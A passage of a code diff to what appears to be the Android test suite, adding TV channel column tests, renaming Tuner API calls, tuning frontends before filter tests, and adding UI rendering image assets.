+ final PendingIntent pendingIntent =
+ PendingIntent.getBroadcast(
+ context,
+ 0,
+ broadcastIntent,
+ PendingIntent.FLAG_IMMUTABLE);
outsideActivity.putExtra("finishBroadcast", pendingIntent);
context.startActivity(outsideActivity);
diff --git a/tests/tests/time/OWNERS b/tests/tests/time/OWNERS
index ff89e51..a81fa72 100644
--- a/tests/tests/time/OWNERS
+++ b/tests/tests/time/OWNERS
@@ -1,3 +1,3 @@
# Bug component: 847766
nfuller@google.com
-vichang@google.com
+include platform/frameworks/base:/core/java/android/app/timedetector/OWNERS
diff --git a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
index 6314ec5..055b75d 100644
--- a/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
+++ b/tests/tests/tv/src/android/media/tv/cts/TvContractTest.java
@@ -62,6 +62,11 @@
Channels.COLUMN_INTERNAL_PROVIDER_DATA,
Channels.COLUMN_VERSION_NUMBER,
Channels.COLUMN_INTERNAL_PROVIDER_ID,
+ Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER,
+ Channels.COLUMN_SCRAMBLED,
+ Channels.COLUMN_VIDEO_RESOLUTION,
+ Channels.COLUMN_CHANNEL_LIST_ID,
+ Channels.COLUMN_BROADCAST_GENRE,
};
private static final String[] PROGRAMS_PROJECTION = {
@@ -331,6 +336,11 @@
verifyStringColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_ID);
verifyBlobColumn(cursor, expectedValues, Channels.COLUMN_INTERNAL_PROVIDER_DATA);
verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_VERSION_NUMBER);
+ verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER);
+ verifyIntegerColumn(cursor, expectedValues, Channels.COLUMN_SCRAMBLED);
+ verifyStringColumn(cursor, expectedValues, Channels.COLUMN_VIDEO_RESOLUTION);
+ verifyStringColumn(cursor, expectedValues, Channels.COLUMN_CHANNEL_LIST_ID);
+ verifyStringColumn(cursor, expectedValues, Channels.COLUMN_BROADCAST_GENRE);
}
}
@@ -560,6 +570,132 @@
}
}
+ public void testChannelsTableForRemoteControlKeyPresetNumber() throws Exception {
+ if (!Utils.hasTvInputFramework(getContext())) {
+ return;
+ }
+ // Test: insert
+ ContentValues values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 100);
+ Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+ long channelId = ContentUris.parseId(channelUri);
+ verifyChannel(channelUri, values, channelId);
+
+ // Test: update
+ values = null;
+ values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_REMOTE_CONTROL_KEY_PRESET_NUMBER, 200);
+ int result = mContentResolver.update(channelUri, values, null, null);
+ assertEquals(1, result);
+ verifyChannel(channelUri, values, channelId);
+ }
+
+ public void testChannelsTableForScrambled() throws Exception {
+ if (!Utils.hasTvInputFramework(getContext())) {
+ return;
+ }
+ // Test: insert
+ ContentValues values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_SCRAMBLED, 0);
+ Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+ long channelId = ContentUris.parseId(channelUri);
+ verifyChannel(channelUri, values, channelId);
+
+ // Test: update
+ values = null;
+ values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_SCRAMBLED, 1);
+ int result = mContentResolver.update(channelUri, values, null, null);
+ assertEquals(1, result);
+ verifyChannel(channelUri, values, channelId);
+ }
+
+ public void testChannelsTableForVideoResolution() throws Exception {
+ if (!Utils.hasTvInputFramework(getContext())) {
+ return;
+ }
+ // Test: insert
+ ContentValues values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_SD);
+ Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+ long channelId = ContentUris.parseId(channelUri);
+ verifyChannel(channelUri, values, channelId);
+
+ // Test: update
+ values = null;
+ values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_VIDEO_RESOLUTION, Channels.VIDEO_RESOLUTION_HD);
+ int result = mContentResolver.update(channelUri, values, null, null);
+ assertEquals(1, result);
+ verifyChannel(channelUri, values, channelId);
+ }
+
+ public void testChannelsTableForChannelListId() throws Exception {
+ if (!Utils.hasTvInputFramework(getContext())) {
+ return;
+ }
+ // Test: insert
+ ContentValues values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-0");
+ Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+ long channelId = ContentUris.parseId(channelUri);
+ verifyChannel(channelUri, values, channelId);
+
+ // Test: update
+ values = null;
+ values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_CHANNEL_LIST_ID, "Operator-1");
+ int result = mContentResolver.update(channelUri, values, null, null);
+ assertEquals(1, result);
+ verifyChannel(channelUri, values, channelId);
+ }
+
+ public void testChannelsForBroadcastGenre() {
+ if (!Utils.hasTvInputFramework(getContext())) {
+ return;
+ }
+ String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+ // Test: insert
+ ContentValues values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+ Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+ long channelId = ContentUris.parseId(channelUri);
+ verifyChannel(channelUri, values, channelId);
+
+ // Test: update
+ String[] newBroadcastGenre = new String[] {"Sports"};
+ values = null;
+ values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(newBroadcastGenre));
+ int result = mContentResolver.update(channelUri, values, null, null);
+ assertEquals(1, result);
+ verifyChannel(channelUri, values, channelId);
+ }
+
+ public void testChannelsBroadcastGenreEncodeDecode() {
+ if (!Utils.hasTvInputFramework(getContext())) {
+ return;
+ }
+ String[] broadcastGenre = new String[] {"Animation", "Classic, opera"};
+
+ // Test: insert / Encode
+ ContentValues values = createDummyChannelValues(mInputId, true);
+ values.put(Channels.COLUMN_BROADCAST_GENRE, Genres.encode(broadcastGenre));
+ Uri channelUri = mContentResolver.insert(mChannelsUri, values);
+ long channelId = ContentUris.parseId(channelUri);
+ verifyChannel(channelUri, values, channelId);
+
+ // Test: Decode
+ try (Cursor c = mContentResolver.query(Channels.CONTENT_URI,
+ new String[] {Channels.COLUMN_BROADCAST_GENRE}, null, null, null)) {
+ assertNotNull(c);
+ assertEquals(1, c.getCount());
+ c.moveToNext();
+ MoreAsserts.assertEquals(broadcastGenre, Genres.decode(c.getString(0)));
+ }
+ }
+
private void verifyProgram(Uri programUri, ContentValues expectedValues, long programId) {
try (Cursor cursor = mContentResolver.query(
programUri, null, null, null, null)) {
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
index 5290da7..5b5949f 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerFrontendTest.java
@@ -300,7 +300,7 @@
.setStandard(DvbsFrontendSettings.STANDARD_S2)
.setVcmMode(DvbsFrontendSettings.VCM_MODE_MANUAL)
.setScanType(DvbsFrontendSettings.SCAN_TYPE_DIRECT)
- .setCouldHandleDiseqcRxMessage(true)
+ .setCanHandleDiseqcRxMessage(true)
.build();
settings.setSpectralInversion(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL);
@@ -317,13 +317,13 @@
assertEquals(DvbsFrontendSettings.VCM_MODE_MANUAL, settings.getVcmMode());
if (TunerVersionChecker.isHigherOrEqualVersionTo(TunerVersionChecker.TUNER_VERSION_1_1)) {
assertEquals(DvbsFrontendSettings.SCAN_TYPE_DIRECT, settings.getScanType());
- assertTrue(settings.getCouldHandleDiseqcRxMessage());
+ assertTrue(settings.canHandleDiseqcRxMessage());
assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_NORMAL,
settings.getFrontendSpectralInversion());
assertEquals(100, settings.getEndFrequency());
} else {
assertEquals(DvbsFrontendSettings.SCAN_TYPE_UNDEFINED, settings.getScanType());
- assertFalse(settings.getCouldHandleDiseqcRxMessage());
+ assertFalse(settings.canHandleDiseqcRxMessage());
assertEquals(FrontendSettings.FRONTEND_SPECTRAL_INVERSION_UNDEFINED,
settings.getFrontendSpectralInversion());
assertEquals(Tuner.INVALID_FRONTEND_SETTING_FREQUENCY, settings.getEndFrequency());
@@ -545,7 +545,7 @@
// TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
public void testFrontendInfo() throws Exception {
List<Integer> ids = mTuner.getFrontendIds();
- List<FrontendInfo> infos = mTuner.getFrontendInfoList();
+ List<FrontendInfo> infos = mTuner.getAvailableFrontendInfos();
Map<Integer, FrontendInfo> infoMap = new HashMap<>();
for (FrontendInfo info : infos) {
infoMap.put(info.getId(), info);
diff --git a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
index d37496d..fd57f37 100644
--- a/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
+++ b/tests/tests/tv/src/android/media/tv/tuner/cts/TunerTest.java
@@ -197,94 +197,134 @@
FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
int res = mTuner.tune(createFrontendSettings(info));
- FrontendStatus status = mTuner.getFrontendStatus(
- new int[] {
- FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK,
- FrontendStatus.FRONTEND_STATUS_TYPE_SNR,
- FrontendStatus.FRONTEND_STATUS_TYPE_BER,
- FrontendStatus.FRONTEND_STATUS_TYPE_PER,
- FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER,
- FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY,
- FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH,
- FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE,
- FrontendStatus.FRONTEND_STATUS_TYPE_FEC,
- FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION,
- FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL,
- FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE,
- FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID,
- FrontendStatus.FRONTEND_STATUS_TYPE_EWBS,
- FrontendStatus.FRONTEND_STATUS_TYPE_AGC,
- FrontendStatus.FRONTEND_STATUS_TYPE_LNA,
- FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR,
- FrontendStatus.FRONTEND_STATUS_TYPE_MER,
- FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET,
- FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY,
- FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK,
- FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO,
- // Extended status types in Android 12
- FrontendStatus.FRONTEND_STATUS_TYPE_BERS,
- FrontendStatus.FRONTEND_STATUS_TYPE_CODERATES,
- FrontendStatus.FRONTEND_STATUS_TYPE_BANDWIDTH,
- FrontendStatus.FRONTEND_STATUS_TYPE_GUARD_INTERVAL,
- FrontendStatus.FRONTEND_STATUS_TYPE_TRANSMISSION_MODE,
- FrontendStatus.FRONTEND_STATUS_TYPE_UEC,
- FrontendStatus.FRONTEND_STATUS_TYPE_T2_SYSTEM_ID,
- FrontendStatus.FRONTEND_STATUS_TYPE_INTERLEAVINGS,
- FrontendStatus.FRONTEND_STATUS_TYPE_ISDBT_SEGMENTS,
- FrontendStatus.FRONTEND_STATUS_TYPE_TS_DATA_RATES,
- FrontendStatus.FRONTEND_STATUS_TYPE_MODULATIONS_EXT,
- FrontendStatus.FRONTEND_STATUS_TYPE_ROLL_OFF,
- FrontendStatus.FRONTEND_STATUS_TYPE_IS_MISO,
- FrontendStatus.FRONTEND_STATUS_TYPE_IS_LINEAR,
- FrontendStatus.FRONTEND_STATUS_TYPE_IS_SHORT_FRAMES
- });
+
+ int[] statusCapabilities = info.getStatusCapabilities();
+ assertNotNull(statusCapabilities);
+ FrontendStatus status = mTuner.getFrontendStatus(statusCapabilities);
assertNotNull(status);
- status.isDemodLocked();
- status.getSnr();
- status.getBer();
- status.getPer();
- status.getPerBer();
- status.getSignalQuality();
- status.getSignalStrength();
- status.getSymbolRate();
- status.getInnerFec();
- status.getModulation();
- status.getSpectralInversion();
- status.getLnbVoltage();
- status.getPlpId();
- status.isEwbs();
- status.getAgc();
- status.isLnaOn();
- status.getLayerErrors();
- status.getMer();
- status.getFreqOffset();
- status.getHierarchy();
- status.isRfLocked();
- Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
- if (tuningInfos != null) {
- for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
- tuningInfo.getPlpId();
- tuningInfo.isLocked();
- tuningInfo.getUec();
+ for (int i = 0; i < statusCapabilities.length; i++) {
+ switch (statusCapabilities[i]) {
+ case FrontendStatus.FRONTEND_STATUS_TYPE_DEMOD_LOCK:
+ status.isDemodLocked();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_SNR:
+ status.getSnr();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_BER:
+ status.getBer();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_PER:
+ status.getPer();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_PRE_BER:
+ status.getPerBer();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_QUALITY:
+ status.getSignalQuality();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_SIGNAL_STRENGTH:
+ status.getSignalStrength();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_SYMBOL_RATE:
+ status.getSymbolRate();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_FEC:
+ status.getInnerFec();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATION:
+ status.getModulation();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_SPECTRAL:
+ status.getSpectralInversion();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_LNB_VOLTAGE:
+ status.getLnbVoltage();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_PLP_ID:
+ status.getPlpId();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_EWBS:
+ status.isEwbs();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_AGC:
+ status.getAgc();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_LNA:
+ status.isLnaOn();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_LAYER_ERROR:
+ status.getLayerErrors();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_MER:
+ status.getMer();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_FREQ_OFFSET:
+ status.getFreqOffset();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_HIERARCHY:
+ status.getHierarchy();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_RF_LOCK:
+ status.isRfLocked();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_ATSC3_PLP_INFO:
+ Atsc3PlpTuningInfo[] tuningInfos = status.getAtsc3PlpTuningInfo();
+ if (tuningInfos != null) {
+ for (Atsc3PlpTuningInfo tuningInfo : tuningInfos) {
+ tuningInfo.getPlpId();
+ tuningInfo.isLocked();
+ tuningInfo.getUec();
+ }
+ }
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_BERS:
+ status.getBers();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_CODERATES:
+ status.getCodeRates();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_BANDWIDTH:
+ status.getBandwidth();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_GUARD_INTERVAL:
+ status.getGuardInterval();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_TRANSMISSION_MODE:
+ status.getTransmissionMode();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_UEC:
+ status.getUec();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_T2_SYSTEM_ID:
+ status.getSystemId();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_INTERLEAVINGS:
+ status.getInterleaving();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_ISDBT_SEGMENTS:
+ status.getIsdbtSegment();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_TS_DATA_RATES:
+ status.getTsDataRate();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_MODULATIONS_EXT:
+ status.getExtendedModulations();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_ROLL_OFF:
+ status.getRollOff();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_IS_MISO:
+ status.isMisoEnabled();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_IS_LINEAR:
+ status.isLinear();
+ break;
+ case FrontendStatus.FRONTEND_STATUS_TYPE_IS_SHORT_FRAMES:
+ status.isShortFramesEnabled();
+ break;
}
}
- // Status supported from Android 12
- status.getBandwidth();
- status.getBers();
- status.getCodeRates();
- status.getGuardInterval();
- status.getInterleaving();
- status.getIsdbtSegment();
- status.getExtendedModulations();
- status.getSystemId();
- status.getTransmissionMode();
- status.getTsDataRate();
- status.getUec();
- status.getRollOff();
- status.isMisoEnabled();
- status.isLinear();
- status.isShortFramesEnabled();
}
@Test
@@ -315,7 +355,7 @@
@Ignore("b/174500129")
// TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
public void testCiCam() throws Exception {
-// open filter to get demux resource
+ // open filter to get demux resource
mTuner.openFilter(
Filter.TYPE_TS, Filter.SUBTYPE_SECTION, 1000, getExecutor(), getFilterCallback());
@@ -327,9 +367,20 @@
@Ignore("b/174500129")
// TODO: Enable Tuner CTS after Tuner Service b/159067322 feature complete
public void testAvSyncId() throws Exception {
-// open filter to get demux resource
+ // open filter to get demux resource
Filter f = mTuner.openFilter(
Filter.TYPE_TS, Filter.SUBTYPE_AUDIO, 1000, getExecutor(), getFilterCallback());
+ Settings settings = AvSettings
+ .builder(Filter.TYPE_TS, true)
+ .setPassthrough(false)
+ .setAudioStreamType(AvSettings.AUDIO_STREAM_TYPE_MPEG1)
+ .build();
+ FilterConfiguration config = TsFilterConfiguration
+ .builder()
+ .setTpid(10)
+ .setSettings(settings)
+ .build();
+ f.configure(config);
int id = mTuner.getAvSyncHwId(f);
if (id != Tuner.INVALID_AV_SYNC_ID) {
assertNotEquals(Tuner.INVALID_TIMESTAMP, mTuner.getAvSyncTime(id));
@@ -366,11 +417,23 @@
f.configure(config);
f.configureMonitorEvent(
Filter.MONITOR_EVENT_SCRAMBLING_STATUS | Filter.MONITOR_EVENT_IP_CID_CHANGE);
+
+ // Tune a frontend before start the filter
+ List<Integer> ids = mTuner.getFrontendIds();
+ assertFalse(ids.isEmpty());
+
+ FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+ int res = mTuner.tune(createFrontendSettings(info));
+ assertEquals(Tuner.RESULT_SUCCESS, res);
+
f.start();
f.flush();
f.read(new byte[3], 0, 3);
f.stop();
f.close();
+
+ res = mTuner.cancelTuning();
+ assertEquals(Tuner.RESULT_SUCCESS, res);
}
@Test
@@ -393,10 +456,22 @@
.setSettings(settings)
.build();
f.configure(config);
+
+ // Tune a frontend before start the filter
+ List<Integer> ids = mTuner.getFrontendIds();
+ assertFalse(ids.isEmpty());
+
+ FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+ int res = mTuner.tune(createFrontendSettings(info));
+ assertEquals(Tuner.RESULT_SUCCESS, res);
+
f.start();
f.flush();
f.stop();
f.close();
+
+ res = mTuner.cancelTuning();
+ assertEquals(Tuner.RESULT_SUCCESS, res);
}
@Test
@@ -433,9 +508,21 @@
.setIpFilterContextId(1)
.build();
f.configure(config);
+
+ // Tune a frontend before start the filter
+ List<Integer> ids = mTuner.getFrontendIds();
+ assertFalse(ids.isEmpty());
+
+ FrontendInfo info = mTuner.getFrontendInfoById(ids.get(0));
+ int res = mTuner.tune(createFrontendSettings(info));
+ assertEquals(Tuner.RESULT_SUCCESS, res);
+
f.start();
f.stop();
f.close();
+
+ res = mTuner.cancelTuning();
+ assertEquals(Tuner.RESULT_SUCCESS, res);
}
@Test
@@ -544,7 +631,7 @@
assertFalse(ids.isEmpty());
FrontendInfo info = other.getFrontendInfoById(ids.get(0));
- // call tune() to open frontend resource
+ // call tune() to open frontend resource
int res = other.tune(createFrontendSettings(info));
assertEquals(Tuner.RESULT_SUCCESS, res);
assertNotNull(other.getFrontendInfo());
diff --git a/tests/tests/uirendering/Android.bp b/tests/tests/uirendering/Android.bp
index 8b0a7fb..f77d118 100644
--- a/tests/tests/uirendering/Android.bp
+++ b/tests/tests/uirendering/Android.bp
@@ -15,6 +15,7 @@
android_test {
name: "CtsUiRenderingTestCases",
sdk_version: "test_current",
+ compile_multilib: "both",
srcs: [
"src/**/*.java",
@@ -28,8 +29,10 @@
"mockito-target-minus-junit4",
"androidx.test.rules",
"kotlin-test",
- "testng"
+ "testng",
+ "junit-params",
],
+ jni_libs: ["libctsuirendering_jni"],
libs: ["android.test.runner"],
diff --git a/tests/tests/uirendering/assets/RestorePrevious.gif b/tests/tests/uirendering/assets/RestorePrevious.gif
new file mode 100644
index 0000000..5801e4f
--- /dev/null
+++ b/tests/tests/uirendering/assets/RestorePrevious.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim.gif b/tests/tests/uirendering/assets/alphabetAnim.gif
new file mode 100644
index 0000000..d6b7d85
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_001.png b/tests/tests/uirendering/assets/alphabetAnim_001.png
new file mode 100644
index 0000000..19832ff
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_002.png b/tests/tests/uirendering/assets/alphabetAnim_002.png
new file mode 100644
index 0000000..3bd2c2b
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_003.png b/tests/tests/uirendering/assets/alphabetAnim_003.png
new file mode 100644
index 0000000..2fdd045
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_004.png b/tests/tests/uirendering/assets/alphabetAnim_004.png
new file mode 100644
index 0000000..f580283
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_005.png b/tests/tests/uirendering/assets/alphabetAnim_005.png
new file mode 100644
index 0000000..8ae5f9d
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_006.png b/tests/tests/uirendering/assets/alphabetAnim_006.png
new file mode 100644
index 0000000..43c742a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_007.png b/tests/tests/uirendering/assets/alphabetAnim_007.png
new file mode 100644
index 0000000..526eb4a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_007.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_008.png b/tests/tests/uirendering/assets/alphabetAnim_008.png
new file mode 100644
index 0000000..8638601
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_008.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_009.png b/tests/tests/uirendering/assets/alphabetAnim_009.png
new file mode 100644
index 0000000..04fe49a
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_009.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_010.png b/tests/tests/uirendering/assets/alphabetAnim_010.png
new file mode 100644
index 0000000..e606bdf
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_010.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_011.png b/tests/tests/uirendering/assets/alphabetAnim_011.png
new file mode 100644
index 0000000..208eac2
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_011.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/alphabetAnim_012.png b/tests/tests/uirendering/assets/alphabetAnim_012.png
new file mode 100644
index 0000000..034b3ec
--- /dev/null
+++ b/tests/tests/uirendering/assets/alphabetAnim_012.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated.gif b/tests/tests/uirendering/assets/animated.gif
new file mode 100644
index 0000000..51baf15
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_001.gif b/tests/tests/uirendering/assets/animated_001.gif
new file mode 100644
index 0000000..0aced89
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_001.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_002.gif b/tests/tests/uirendering/assets/animated_002.gif
new file mode 100644
index 0000000..fb0e56e
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_002.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_003.gif b/tests/tests/uirendering/assets/animated_003.gif
new file mode 100644
index 0000000..f35ea24
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_003.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/animated_webp.webp b/tests/tests/uirendering/assets/animated_webp.webp
new file mode 100644
index 0000000..2d28dbf
--- /dev/null
+++ b/tests/tests/uirendering/assets/animated_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG.webp b/tests/tests/uirendering/assets/blendBG.webp
new file mode 100644
index 0000000..46e4ce2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_001.png b/tests/tests/uirendering/assets/blendBG_001.png
new file mode 100644
index 0000000..7f7a181
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_002.png b/tests/tests/uirendering/assets/blendBG_002.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_003.png b/tests/tests/uirendering/assets/blendBG_003.png
new file mode 100644
index 0000000..76e1fe2
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_004.png b/tests/tests/uirendering/assets/blendBG_004.png
new file mode 100644
index 0000000..59b039c
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_005.png b/tests/tests/uirendering/assets/blendBG_005.png
new file mode 100644
index 0000000..c2dba9f
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/blendBG_006.png b/tests/tests/uirendering/assets/blendBG_006.png
new file mode 100644
index 0000000..f0a4393
--- /dev/null
+++ b/tests/tests/uirendering/assets/blendBG_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_001.png b/tests/tests/uirendering/assets/required_001.png
new file mode 100644
index 0000000..4387398
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_001.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_002.png b/tests/tests/uirendering/assets/required_002.png
new file mode 100644
index 0000000..70efbf9
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_002.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_003.png b/tests/tests/uirendering/assets/required_003.png
new file mode 100644
index 0000000..f42081e
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_003.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_004.png b/tests/tests/uirendering/assets/required_004.png
new file mode 100644
index 0000000..0d3fd95
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_004.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_005.png b/tests/tests/uirendering/assets/required_005.png
new file mode 100644
index 0000000..110035c
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_005.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_006.png b/tests/tests/uirendering/assets/required_006.png
new file mode 100644
index 0000000..b7a7283
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_006.png
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_gif.gif b/tests/tests/uirendering/assets/required_gif.gif
new file mode 100644
index 0000000..91a9fd1
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_gif.gif
Binary files differ
diff --git a/tests/tests/uirendering/assets/required_webp.webp b/tests/tests/uirendering/assets/required_webp.webp
new file mode 100644
index 0000000..9f9a8f8
--- /dev/null
+++ b/tests/tests/uirendering/assets/required_webp.webp
Binary files differ
diff --git a/tests/tests/uirendering/assets/stoplight.webp b/tests/tests/uirendering/assets/stoplight.webp
new file mode 100644
index 0000000..8cc1199
--- /dev/null
